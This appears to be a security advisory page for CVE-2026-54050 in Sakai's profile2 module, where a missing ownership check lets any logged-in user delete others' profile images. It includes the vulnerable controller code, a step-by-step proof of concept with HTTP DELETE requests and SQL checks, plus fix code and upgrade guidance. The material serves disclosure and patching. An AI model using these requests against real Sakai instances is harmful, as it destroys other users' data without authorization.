CVE-2026-54050: Medium severity maven/org.sakaiproject.profile2:profile2-impl vulnerability

Published Aug 24, 2026
·
Updated

Summary

The Sakai REST API endpoint DELETE /api/users/{userId}/profile/image does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different userId in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.

Details ProfileController.removeProfileImage() in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target userId path parameter:

java @DeleteMapping(value = "/users/{userId}/profile/image") public ResponseEntity<String> removeProfileImage(@PathVariable String userId) { String currentUserId = checkSakaiSession().getUserId(); if (currentUserId == null) { return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } profileService.removeProfileImage(userId); // userId is attacker-controlled return ResponseEntity.ok().build(); }

ProfileServiceImpl.removeProfileImage() delegates directly to dao.removeProfileImage(userUuid) with no authorization check. The DAO calls profileImageUploadedRepository.deleteById(userId), removing the profileimagest row unconditionally.

For contrast, the upload endpoint setProfileImage() correctly verifies ownership:

java if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) { throw new SecurityException("Not allowed to save."); }

This asymmetry means any authenticated user can delete but not upload over another user's profile image.

Additionally, the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) has no checkSakaiSession() call at all, making it accessible without any authentication.

Setup: - Admin user: admin, with a custom profile image uploaded - Attacker: student2 (unprivileged user, SAKAIID cookie from authenticated session)

Step 1 - Admin uploads profile image (confirm non-default state):

POST /api/users/admin/profile/image HTTP/1.1 Cookie: SAKAIID=<admin-session> Content-Type: application/x-www-form-urlencoded

base64=<base64-encoded-png>

Response: {"status":"SUCCESS"}

Step 2 - Verify image exists in database:

sql SELECT USERUUID, RESOURCEMAIN FROM profileimagest WHERE USERUUID='admin'; -- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9

Step 3 - Attacker (student2) deletes admin's profile image:

DELETE /api/users/admin/profile/image HTTP/1.1 Host: localhost:9107 Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb

Response: HTTP/1.1 200

Step 4 - Verify image is gone from database:

sql SELECT USERUUID, RESOURCEMAIN FROM profileimagest WHERE USERUUID='admin'; -- Result: (empty - row deleted)

The attack succeeds. Student2's session is accepted by checkSakaiSession() (non-blank userId), and the target userId (admin) is passed directly to the service without any ownership check.

Impact

Any authenticated user (student, guest) can: - Permanently delete the profile image of any other user, including administrators and instructors - Repeatedly trigger deletion to prevent a target user from maintaining a profile picture - In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows

The attack is trivially scriptable and can target all users on the platform in bulk.

Suggested Remediation

In ProfileController.removeProfileImage(), add an ownership check before calling the service:

java @DeleteMapping(value = "/users/{userId}/profile/image") public ResponseEntity<String> removeProfileImage(@PathVariable String userId) { Session session = checkSakaiSession(); String currentUserId = session.getUserId(); if (currentUserId == null) { return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } // Add this check: if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) { return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); } profileService.removeProfileImage(userId); return ResponseEntity.ok().build(); }

Apply the same ownership check in ProfileServiceImpl.removeProfileImage() for defense-in-depth, mirroring the pattern in setProfileImage().

For the pronunciation endpoint, add checkSakaiSession() and the same ownership check.

Status / timeline: - 2026-06-02: Fix committed to master (a092dbf3dc6bf343131f50007c207a9abd95e852) - Release pending.

Affected Software

4 affected componentsFixes available
maven/org.sakaiproject.profile2:profile2-impl>=25.0<=25.2
maven/org.sakaiproject.profile2:profile2-impl>=23.0<23.5
23.5
maven/org.sakaiproject.profile2:profile2-api>=25.0<=25.2
maven/org.sakaiproject.profile2:profile2-api>=23.0<23.5
23.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/org.sakaiproject.profile2:profile2-impl to a version that resolves this vulnerability.

    Fixed in 23.5
  2. Upgrade

    Upgrade maven/org.sakaiproject.profile2:profile2-api to a version that resolves this vulnerability.

    Fixed in 23.5
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch a092dbf3dc6bf343131f50007c207a9abd95e852
  4. Configuration

    In ProfileController.removeProfileImage(), add an ownership check that compares currentUserId (from checkSakaiSession()) with the {userId} path parameter; if they differ and the caller is not a superuser, return HTTP 403 (FORBIDDEN) and do not delete the target user's profile image. Ensure ProfileServiceImpl.removeProfileImage() also enforces the same ownership check for defense-in-depth before calling dao.removeProfileImage(userUuid).

    Sakai REST API (webapi) - ProfileController.removeProfileImage Authorization/ownership check for DELETE /api/users/{userId}/profile/image = Require requesting user ownership (or superuser) by comparing authenticated user id to path parameter before calling ProfileServiceImpl.removeProfileImage / DAO deleteById
  5. Configuration

    Add checkSakaiSession() to the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) and implement the same ownership check logic used for setProfileImage/removeProfileImage. If the caller is not superuser and currentUserId does not equal path userId, respond with HTTP 403 and do not perform deletion.

    Sakai REST API - pronunciation delete endpoint DELETE /api/users/{userId}/profile/pronunciation Authentication + authorization (checkSakaiSession and ownership check) = Add checkSakaiSession() and the same ownership check as profile image delete (superuser or authenticated userId matches path {userId}); deny otherwise (HTTP 403)

Event History

Aug 24, 2026
Advisory Published
via GitHub·07:40 PM
Data Sourced
via GitHub·07:40 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What access does an attacker need to exploit this issue?

The attacker must be authenticated with a valid Sakai session. No additional authorization over the targeted account is checked.

2

Can this affect privileged accounts or only the attacker's own profile?

Any authenticated user can target another user's userId, including an administrator's userId, and delete that account's profile image. The deletion path bypasses Content Hosting Service permission checks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203